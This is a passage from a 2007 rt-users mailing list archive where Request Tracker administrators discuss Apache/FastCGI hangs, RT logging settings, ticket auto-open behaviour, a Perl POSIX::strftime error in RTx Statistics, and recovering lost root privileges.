Perl 5.8.7
mod_fcgi-2.4.2
Postgres 8.1.4

Approximately 80.000 tickets.

Problem:
========
RT/Apache suddenly becomes unavailable/hangs (normaly once a day), and 
requires Apache restart so RT can work again.

We are not sure what causes the problem, and if others have similar 
problems, we would be gladly to hear about it!

List of processes running and load on server:
=============================================
# ps aux | grep apache
root     22066  0.0  0.0  7964 3360 ?        S    Feb01   0:08 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   13898  0.0  0.0  7964 3320 ?        S    03:59   0:00 
/local/opt/apache2/bin/fcgi- -k start -DSSL
nobody   21699  0.0  0.0  8216 3832 ?        S    14:02   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22628  0.0  0.0  8216 3840 ?        S    14:14   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22648  0.0  0.0  8216 3840 ?        S    14:15   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22650  0.0  0.0  8216 3820 ?        S    14:15   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22939  0.0  0.0  8252 3756 ?        S    14:18   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22941  0.0  0.0  8216 3848 ?        S    14:18   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22945  0.0  0.0  8216 3804 ?        S    14:18   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22953  0.0  0.0  8216 3756 ?        S    14:18   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22955  0.0  0.0  8216 3796 ?        S    14:18   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22959  0.0  0.0  8216 3812 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22961  0.0  0.0  8216 3800 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22962  0.0  0.0  8216 3788 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22965  0.0  0.0  8236 3804 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22966  0.0  0.0  8216 3788 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   22967  0.0  0.0  8216 3812 ?        S    14:19   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23217  0.0  0.0  8228 3792 ?        S    14:21   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23218  0.0  0.0  8228 3744 ?        S    14:21   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23219  0.0  0.0  8244 3740 ?        S    14:21   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23224  0.0  0.0  8232 3768 ?        S    14:21   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23225  0.0  0.0  8216 3752 ?        S    14:21   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23230  0.0  0.0  8228 3776 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23240  0.0  0.0  8220 3780 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23241  0.0  0.0  8220 3740 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23242  0.0  0.0  8248 3728 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23250  0.0  0.0  8216 3732 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23254  0.0  0.0  8216 3744 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23255  0.0  0.0  8216 3732 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23286  0.0  0.0  8216 3772 ?        S    14:22   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23290  0.0  0.0  8216 3760 ?        S    14:23   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23292  0.0  0.0  8248 3724 ?        S    14:23   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23294  0.0  0.0  8216 3764 ?        S    14:23   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23299  0.0  0.0  8108 3696 ?        S    14:23   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23326  0.0  0.0  8108 3672 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23327  0.0  0.0  8108 3708 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23328  0.0  0.0  8216 3696 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23336  0.1  0.0  8248 3744 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23337  0.0  0.0  8108 3692 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23338  0.0  0.0  8108 3680 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23339  0.0  0.0  8108 3692 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23352  0.0  0.0  8236 3712 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23353  0.0  0.0  8236 3720 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23354  0.0  0.0  8236 3712 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23355  0.0  0.0  8236 3712 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23356  0.0  0.0  8236 3716 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23358  0.0  0.0  8236 3716 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23557  0.1  0.0  8108 3708 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23558  0.0  0.0  8108 3656 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23559  0.0  0.0  8108 3656 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23560  0.0  0.0  8108 3692 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23561  0.0  0.0  8108 3672 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23562  0.0  0.0  8108 3660 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
nobody   23563  0.0  0.0  8108 3660 ?        S    14:25   0:00 
/local/opt/apache2/bin/httpd -k start -DSSL
root     23569  0.0  0.0  1616  468 pts/0    S    14:26   0:00 grep apache



# uptime
  14:26:08  up 45 days, 22:31,  2 users,  load average: 8.14, 8.23, 8.01

It normaly spaws 5 Apache processes when starting. Here, it's unusual many 
processes.

Apache logs messages as before and even rt.log logs as nothing has 
happened.

Apache is normaly restarted once a night, due to memory leek which 
Mason/Perl/FastCGI is responsible for in some strange way. But this should 
not be the problem here.

I noticed that there was a mail-loop from a spam, that looped in the same 
time-frame as the server suddenly stopped. But I cannot draw any 
connections between those problems. I cannot find anything directly in the 
logs that says some problems/alerts with Apache. It just hang, and needs a 
restart.

How can I debug and find out what's wrong? Is there some kind of diffuse 
searches in RT that causes hang (search bug) ... that may be fixed in 
3.6.3 or... the release of 3.6.3 was quite fast after 3.6.2.

Sincerely,
Tomas

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From torsten.brumm at googlemail.com  Fri Feb  2 10:31:15 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 2 Feb 2007 16:31:15 +0100
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
Message-ID: <bdbd084b0702020731k70371b22ta597da8137e4aeac@mail.gmail.com>

Hi Tomas,

yes, we have exactly the same under RHAS4 with Apache, FastCGI and mysql....
but we have to restart 4 times the day :-(

Torsten

2007/2/2, Tomas Olaj <tomas.olaj at usit.uio.no>:
>
>
> System:
> =======
> Red Hat Enterprise Linux WS release 3 (Taroon Update 8)
> RT 3.6.1
> Apache v2.0.59
> Perl 5.8.7
> mod_fcgi-2.4.2
> Postgres 8.1.4
>
> Approximately 80.000 tickets.
>
> Problem:
> ========
> RT/Apache suddenly becomes unavailable/hangs (normaly once a day), and
> requires Apache restart so RT can work again.
>
> We are not sure what causes the problem, and if others have similar
> problems, we would be gladly to hear about it!
>
> List of processes running and load on server:
> =============================================
> # ps aux | grep apache
> root     22066  0.0  0.0  7964 3360 ?        S    Feb01   0:08
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   13898  0.0  0.0  7964 3320 ?        S    03:59   0:00
> /local/opt/apache2/bin/fcgi- -k start -DSSL
> nobody   21699  0.0  0.0  8216 3832 ?        S    14:02   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22628  0.0  0.0  8216 3840 ?        S    14:14   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22648  0.0  0.0  8216 3840 ?        S    14:15   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22650  0.0  0.0  8216 3820 ?        S    14:15   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22939  0.0  0.0  8252 3756 ?        S    14:18   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22941  0.0  0.0  8216 3848 ?        S    14:18   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22945  0.0  0.0  8216 3804 ?        S    14:18   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22953  0.0  0.0  8216 3756 ?        S    14:18   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22955  0.0  0.0  8216 3796 ?        S    14:18   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22959  0.0  0.0  8216 3812 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22961  0.0  0.0  8216 3800 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22962  0.0  0.0  8216 3788 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22965  0.0  0.0  8236 3804 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22966  0.0  0.0  8216 3788 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   22967  0.0  0.0  8216 3812 ?        S    14:19   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23217  0.0  0.0  8228 3792 ?        S    14:21   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23218  0.0  0.0  8228 3744 ?        S    14:21   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23219  0.0  0.0  8244 3740 ?        S    14:21   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23224  0.0  0.0  8232 3768 ?        S    14:21   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23225  0.0  0.0  8216 3752 ?        S    14:21   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23230  0.0  0.0  8228 3776 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23240  0.0  0.0  8220 3780 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23241  0.0  0.0  8220 3740 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23242  0.0  0.0  8248 3728 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23250  0.0  0.0  8216 3732 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23254  0.0  0.0  8216 3744 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23255  0.0  0.0  8216 3732 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23286  0.0  0.0  8216 3772 ?        S    14:22   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23290  0.0  0.0  8216 3760 ?        S    14:23   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23292  0.0  0.0  8248 3724 ?        S    14:23   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23294  0.0  0.0  8216 3764 ?        S    14:23   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23299  0.0  0.0  8108 3696 ?        S    14:23   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23326  0.0  0.0  8108 3672 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23327  0.0  0.0  8108 3708 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23328  0.0  0.0  8216 3696 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23336  0.1  0.0  8248 3744 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23337  0.0  0.0  8108 3692 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23338  0.0  0.0  8108 3680 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23339  0.0  0.0  8108 3692 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23352  0.0  0.0  8236 3712 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23353  0.0  0.0  8236 3720 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23354  0.0  0.0  8236 3712 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23355  0.0  0.0  8236 3712 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23356  0.0  0.0  8236 3716 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23358  0.0  0.0  8236 3716 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23557  0.1  0.0  8108 3708 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23558  0.0  0.0  8108 3656 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23559  0.0  0.0  8108 3656 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23560  0.0  0.0  8108 3692 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23561  0.0  0.0  8108 3672 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23562  0.0  0.0  8108 3660 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> nobody   23563  0.0  0.0  8108 3660 ?        S    14:25   0:00
> /local/opt/apache2/bin/httpd -k start -DSSL
> root     23569  0.0  0.0  1616  468 pts/0    S    14:26   0:00 grep apache
>
>
>
> # uptime
>   14:26:08  up 45 days, 22:31,  2 users,  load average: 8.14, 8.23, 8.01
>
> It normaly spaws 5 Apache processes when starting. Here, it's unusual many
> processes.
>
> Apache logs messages as before and even rt.log logs as nothing has
> happened.
>
> Apache is normaly restarted once a night, due to memory leek which
> Mason/Perl/FastCGI is responsible for in some strange way. But this should
> not be the problem here.
>
> I noticed that there was a mail-loop from a spam, that looped in the same
> time-frame as the server suddenly stopped. But I cannot draw any
> connections between those problems. I cannot find anything directly in the
> logs that says some problems/alerts with Apache. It just hang, and needs a
> restart.
>
> How can I debug and find out what's wrong? Is there some kind of diffuse
> searches in RT that causes hang (search bug) ... that may be fixed in
> 3.6.3 or... the release of 3.6.3 was quite fast after 3.6.2.
>
> Sincerely,
> Tomas
>
> --
> ________________________________________________________________________
> Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
>   University of Oslo / USIT (Center for Information Technology Services)
>     System- and Application Management / Applications Management Group
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From alisond at inf.ed.ac.uk  Fri Feb  2 10:41:14 2007
From: alisond at inf.ed.ac.uk (Alison Downie)
Date: Fri, 2 Feb 2007 15:41:14 +0000 (GMT)
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
Message-ID: <Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>


Don't know if this helps or not but do you have debug set in your 
RT_SiteConfig.pm file ?

e.g.

Set($LogToSyslog    , 'debug');
Set($LogToScreen    , 'error');
Set($LogToFile      , 'debug');
Set($LogDir, '/opt/rt/var/log');
Set($LogToFileNamed , "rt.log");    #log to rt.log

It has helped me out on several occasions!

Alison

--
++++++++++++++++++++++++++++++++++++++++++++++
Alison Downie, Computing Officer
School of Informatics, University of Edinburgh
Room B21, 5 Forrest Hill, EDINBURGH, EH1 2QL

Tel: 650 3095
++++++++++++++++++++++++++++++++++++++++++++++


From torsten.brumm at googlemail.com  Fri Feb  2 10:47:11 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 2 Feb 2007 16:47:11 +0100
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
Message-ID: <bdbd084b0702020747x50c8d01ai5126308bc02e6870@mail.gmail.com>

The only thing i found sometimes are messages: Mysql server has gone away,
but this is causing not in all cases the problems. Nightly, without RT
usage, the connections from FastCGI are timing out and don't connect
automatically, but not during the business hours ;-(

2007/2/2, Alison Downie <alisond at inf.ed.ac.uk>:
>
>
> Don't know if this helps or not but do you have debug set in your
> RT_SiteConfig.pm file ?
>
> e.g.
>
> Set($LogToSyslog    , 'debug');
> Set($LogToScreen    , 'error');
> Set($LogToFile      , 'debug');
> Set($LogDir, '/opt/rt/var/log');
> Set($LogToFileNamed , "rt.log");    #log to rt.log
>
> It has helped me out on several occasions!
>
> Alison
>
> --
> ++++++++++++++++++++++++++++++++++++++++++++++
> Alison Downie, Computing Officer
> School of Informatics, University of Edinburgh
> Room B21, 5 Forrest Hill, EDINBURGH, EH1 2QL
>
> Tel: 650 3095
> ++++++++++++++++++++++++++++++++++++++++++++++
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From jasonm at kelman.com  Fri Feb  2 11:02:00 2007
From: jasonm at kelman.com (Jason Marshall)
Date: Fri, 2 Feb 2007 09:02:00 -0700 (MST)
Subject: [rt-users] Set started date upon opening+owning of a ticket
In-Reply-To: <589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>
References: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>
	<589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>
Message-ID: <Pine.LNX.4.63.0702020855330.26439@helium.kelman.com>

> Try next tests:
> * create a ticket, click the open action and look on the dates box
> * create a ticket, click the resolve action and look on the dates box

Hi Ruslan, it does work the way you describe, though what I wanted to do 
was auto-open the ticket the first time it's viewed by its owner, if 
that's even possible.

The way it is now assumes that people will remember to click "open" as 
soon as they start working on a ticket.

Which isn't to say my proposed way is any better, for if someone opens the 
ticket to see what it's all about, but they're not prepared to begin 
working on it, it will still set the start date on the ticket...

I'm not sure which way is best, but I am leaning toward the current 
default behavior...

Thanks!!

---
Jason Marshall, Unix Geek, Kelman Technologies, Inc., Calgary, AB, Canada.

   From a Sun Microsystems bug report (#4102680):
     "Workaround: don't pound on the mouse like a wild monkey."

   "I have great faith in fools:
      Self confidence my friends call it."  -Edgar Allan Poe



From ruslan.zakirov at gmail.com  Fri Feb  2 11:24:27 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 2 Feb 2007 19:24:27 +0300
Subject: [rt-users] Set started date upon opening+owning of a ticket
In-Reply-To: <Pine.LNX.4.63.0702020855330.26439@helium.kelman.com>
References: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>
	<589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>
	<Pine.LNX.4.63.0702020855330.26439@helium.kelman.com>
Message-ID: <589c94400702020824j67be940dl6841d4344384289d@mail.gmail.com>

On 2/2/07, Jason Marshall <jasonm at kelman.com> wrote:
> > Try next tests:
> > * create a ticket, click the open action and look on the dates box
> > * create a ticket, click the resolve action and look on the dates box
>
> Hi Ruslan, it does work the way you describe, though what I wanted to do
> was auto-open the ticket the first time it's viewed by its owner, if
> that's even possible.
>
> The way it is now assumes that people will remember to click "open" as
> soon as they start working on a ticket.
>
> Which isn't to say my proposed way is any better, for if someone opens the
> ticket to see what it's all about, but they're not prepared to begin
> working on it, it will still set the start date on the ticket...
>
> I'm not sure which way is best, but I am leaning toward the current
> default behavior...
Depends on your workflow, but I can suggest one sane idea:
* adjust "auto-open" to not open ticket when one of requesters send a
message to new ticket, so messages like "oh, I forgot to add this
info...." wouldn't open ticket
* create a scrip that opens a ticket when people take it and train
your team to take things only when they start working on the problem

I this should work just fine unless you have a sort of "auto-owner"
functionality.

>
> Thanks!!
>
-- 
Best regards, Ruslan.


From tessyte578 at yahoo.com  Fri Feb  2 11:29:16 2007
From: tessyte578 at yahoo.com (Alvin Boey)
Date: Fri, 2 Feb 2007 08:29:16 -0800 (PST)
Subject: [rt-users] RTx Statistics system error
Message-ID: <134447.74289.qm@web52513.mail.yahoo.com>

Using CentOS 4.4
Using RT 3.6.3
Using RTxStatistics 0.1.8

System error when using:
a) Ticket per Day
b) Multiple Queues
c) Time To Resolve

=============
error:  Undefined subroutine &POSIX::strftime called
at /opt/rt3/local/lib/RTx/Statistics.pm line 94.
 
context:  ...   
90:  =cut 
91:  sub FormatDate { 
92:  my $fmt = shift; 
93:  my $self = shift; 
94:  return POSIX::strftime($fmt,
localtime($self->Unix)); 
95:  } 
96:   
97:   
98:  =head2 RTDateSetToLocalMidnight 
...   
 
code stack:  /opt/rt3/local/lib/RTx/Statistics.pm:94
/opt/rt3/share/html/RTx/Statistics/Resolution/index.html:266
/opt/rt3/share/html/autohandler:292
 ===================

Raw error:
====================
Undefined subroutine &POSIX::strftime called at
/opt/rt3/local/lib/RTx/Statistics.pm line 94.


Trace begun at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Exceptions.pm
line 129
HTML::Mason::Exceptions::rethrow_exception('Undefined
subroutine &POSIX::strftime called at
/opt/rt3/local/lib/RTx/Statistics.pm line 94.^J')
called at /opt/rt3/local/lib/RTx/Statistics.pm line 94
Statistics::FormatDate('%c',
'RT::Date=HASH(0xa8c1eb0)') called at
/opt/rt3/share/html/RTx/Statistics/Resolution/index.html
line 266
HTML::Mason::Commands::__ANON__ at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Component.pm
line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xa8c6c74)')
called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 1256
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 1246
HTML::Mason::Request::comp(undef, undef, undef) called
at /opt/rt3/share/html/autohandler line 292
HTML::Mason::Commands::__ANON__ at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Component.pm
line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xa3883e0)')
called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 1251
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 1246
HTML::Mason::Request::comp(undef, undef, undef) called
at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 460
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 460
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Request.pm
line 412
HTML::Mason::Request::exec('HTML::Mason::Request::CGI=HASH(0xa8d9208)')
called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/CGIHandler.pm
line 192
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/CGIHandler.pm
line 192
HTML::Mason::Request::CGI::exec('HTML::Mason::Request::CGI=HASH(0xa8d9208)')
called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/Interp.pm
line 342
HTML::Mason::Interp::exec(undef, undef) called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/CGIHandler.pm
line 123
eval {...} at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/CGIHandler.pm
line 123
HTML::Mason::CGIHandler::_handler('HTML::Mason::CGIHandler=HASH(0x8834a50)',
'HASH(0xa8f9100)') called at
/usr/lib/perl5/site_perl/5.8.5/HTML/Mason/CGIHandler.pm
line 73
HTML::Mason::CGIHandler::handle_cgi_object('HTML::Mason::CGIHandler=HASH(0x8834a50)',
'CGI::Fast=HASH(0xa8f9e8c)') called at
/opt/rt3/bin/mason_handler.fcgi line 76
eval {...} at /opt/rt3/bin/mason_handler.fcgi line 76
===========================


 
____________________________________________________________________________________
The fish are biting. 
Get more visitors on your site using Yahoo! Search Marketing.
http://searchmarketing.yahoo.com/arp/sponsoredsearch_v2.php


From jasonm at kelman.com  Fri Feb  2 11:28:36 2007
From: jasonm at kelman.com (Jason Marshall)
Date: Fri, 2 Feb 2007 09:28:36 -0700 (MST)
Subject: [rt-users] Set started date upon opening+owning of a ticket
In-Reply-To: <589c94400702020824j67be940dl6841d4344384289d@mail.gmail.com>
References: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com> 
	<589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com> 
	<Pine.LNX.4.63.0702020855330.26439@helium.kelman.com>
	<589c94400702020824j67be940dl6841d4344384289d@mail.gmail.com>
Message-ID: <Pine.LNX.4.63.0702020926220.26439@helium.kelman.com>

> Depends on your workflow, but I can suggest one sane idea:
> * adjust "auto-open" to not open ticket when one of requesters send a
> message to new ticket, so messages like "oh, I forgot to add this
> info...." wouldn't open ticket

It currently behaves like your recommendation.  I replied to the autoreply 
email, and it did not auto-open the ticket.  I don't think I did anything 
special to make that happen -- perhaps it's the default?

> * create a scrip that opens a ticket when people take it and train
> your team to take things only when they start working on the problem

We tend to assign tickets when they're created, as few of our tickets are 
created from emails from the user community (at this time, anyway).

Thanks for your help Ruslan -- I think I may be able to talk my boss into 
accepting the current (default) behavior as "the best" behavior.

---
Jason Marshall, Unix Geek, Kelman Technologies, Inc., Calgary, AB, Canada.

   From a Sun Microsystems bug report (#4102680):
     "Workaround: don't pound on the mouse like a wild monkey."

   "I have great faith in fools:
      Self confidence my friends call it."  -Edgar Allan Poe



From jjames at mango-solutions.com  Fri Feb  2 12:33:06 2007
From: jjames at mango-solutions.com (John James)
Date: Fri, 2 Feb 2007 17:33:06 -0000
Subject: [rt-users] root no longer has sufficient privileges 
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
	<C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
Message-ID: <005101c746f0$3649f3a0$190aa8c0@MangoSolutions.local>

Ooops

 

Cleaning up my copy or RT - still in test - I overzealously removed all
access to configuration management for root

 

How do I restore root privileges please?

 

There are no real users/tickets in the system, but equally I don't want to
re-install everything!

 

Regards

 

John

 

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From jjames at mango-solutions.com  Fri Feb  2 12:44:04 2007
From: jjames at mango-solutions.com (John James)
Date: Fri, 2 Feb 2007 17:44:04 -0000
Subject: [rt-users] root no longer has sufficient privileges 
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
	<C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
Message-ID: <005c01c746f1$bb244ed0$190aa8c0@MangoSolutions.local>


Apologies: it's in the book of course, 5.7.3. Recover SuperUser Privileges


 

 

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From KFCrocker at lbl.gov  Fri Feb  2 13:11:38 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 02 Feb 2007 10:11:38 -0800
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
